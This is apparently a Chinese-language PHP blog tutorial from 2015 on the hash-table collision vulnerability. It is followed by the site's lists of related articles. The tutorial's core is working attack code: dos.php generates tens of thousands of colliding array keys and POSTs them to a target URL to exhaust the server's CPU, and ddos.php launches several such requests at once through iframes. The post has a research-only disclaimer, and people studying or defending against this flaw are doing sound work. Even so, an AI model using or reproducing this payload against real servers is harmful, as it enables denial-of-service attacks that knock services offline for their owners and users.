PHP利用hash冲突漏洞进行DDoS攻击的方法分析


Posted in PHP onMarch 26, 2015

本文实例分析了PHP利用hash冲突漏洞进行DDoS攻击的方法。分享给大家供大家参考。具体分析如下:

首先声明:本文内容只用于研究学习使用,请勿用于非法行为!

前面提到过最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。

攻击原理:

通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。
不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。

文件:dos.php

// 目标地址 
// 只要目标地址存在,不用管它是干嘛的 
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
  $data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&')); 
var_dump($ret); 
function curl($url, $post, $timeout = 30){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 
  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
  curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  $output = curl_exec($ch);
  if ($output === false) return false;
  $info = curl_getinfo($ch);
  $http_code = $info['http_code'];
  if ($http_code == 404) return false;
  curl_close($ch);
  return $output;
}

文件:ddos.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
<title>DDOS</title> 
</head> 
<body> 
<?php 
for($i=0; $i<5; $i++){//并发数 
  echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>'; 
} 
?> 
</body> 
</html>

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
基于qmail的完整WEBMAIL解决方案安装详解
Oct 09 PHP
PHP 批量删除数据的方法分析
Oct 30 PHP
PHP四舍五入精确小数位及取整
Jan 14 PHP
php实现获取局域网所有用户的电脑IP和主机名、及mac地址完整实例
Jul 18 PHP
PHP中使用strpos函数实现屏蔽敏感关键字功能
Aug 21 PHP
PHP记录搜索引擎蜘蛛访问网站足迹的方法
Apr 15 PHP
php显示时间常用方法小结
Jun 05 PHP
CI框架整合widget(页面格局)的方法
May 17 PHP
Ubuntu server 11.04安装memcache及php使用memcache来存储session的方法
May 31 PHP
PHP实现登陆表单提交CSRF及验证码
Jan 24 PHP
php+mysql开发的最简单在线题库(在线做题系统)完整案例
Mar 30 PHP
php实现获取近几日、月时间示例
Jul 06 PHP
ThinkPHP、ZF2、Yaf、Laravel框架路由大比拼
Mar 25 #PHP
CentOS 安装 PHP5.5+Redis+XDebug+Nginx+MySQL全纪录
Mar 25 #PHP
MacOS 安装 PHP的图片裁剪扩展Tclip
Mar 25 #PHP
php编写的一个E-mail验证类
Mar 25 #PHP
php取得字符串首字母的方法
Mar 25 #PHP
PHP判断IP并转跳到相应城市分站的方法
Mar 25 #PHP
PHP使用in_array函数检查数组中是否存在某个值
Mar 25 #PHP
You might like
如何获得PHP相关资料
2006/10/09 PHP
smarty section简介与用法分析
2008/10/03 PHP
php操作XML、读取数据和写入数据的实现代码
2014/08/15 PHP
laravel 5.3 单用户登录简单实现方法
2019/10/14 PHP
JS创建优美的页面滑动块效果 - Glider.js
2007/09/27 Javascript
使用JS CSS去除IE链接虚线框的三种方法
2013/11/14 Javascript
jQuery实现列表的全选功能
2015/03/18 Javascript
JS实现的新浪微博大厅文字内容滚动效果代码
2015/11/05 Javascript
JavaScript地理位置信息API
2016/06/11 Javascript
使用jQuery5分钟快速搞定双色表格的简单实例
2016/08/08 Javascript
Angular.js基础学习之初始化
2017/03/10 Javascript
微信小程序实现登录页云层漂浮的动画效果
2017/05/05 Javascript
React-Native中props具体使用详解
2017/09/04 Javascript
npm 更改默认全局路径以及国内镜像的方法
2018/05/16 Javascript
node.js express框架简介与实现
2019/07/23 Javascript
JS实现网页烟花动画效果
2020/03/10 Javascript
Python3.x中自定义比较函数
2015/04/24 Python
Python星号*与**用法分析
2018/02/02 Python
python 3调用百度OCR API实现剪贴板文字识别
2018/09/04 Python
对Python3 pyc 文件的使用详解
2019/02/16 Python
wxpython绘制音频效果
2019/11/18 Python
Python实现变声器功能(萝莉音御姐音)
2019/12/05 Python
python爬虫模拟浏览器的两种方法实例分析
2019/12/09 Python
matplotlib图例legend语法及设置的方法
2020/07/28 Python
Python模拟键盘输入自动登录TGP
2020/11/27 Python
基于html5实现的图片墙效果
2014/10/16 HTML / CSS
什么是接口(Interface)?
2013/02/01 面试题
恶意软件的定义
2014/11/12 面试题
你的创业计划书怎样才能打动风投
2014/02/06 职场文书
幼师求职自荐信
2014/05/31 职场文书
物联网工程专业推荐信
2014/09/08 职场文书
2014年教育教学工作总结
2014/11/13 职场文书
小学元宵节活动总结
2015/02/06 职场文书
汽车修理厂管理制度
2015/08/05 职场文书
2016年“5.12”护士节慰问信
2015/11/30 职场文书
Kubernetes关键组件与结构组成介绍
2022/03/31 Servers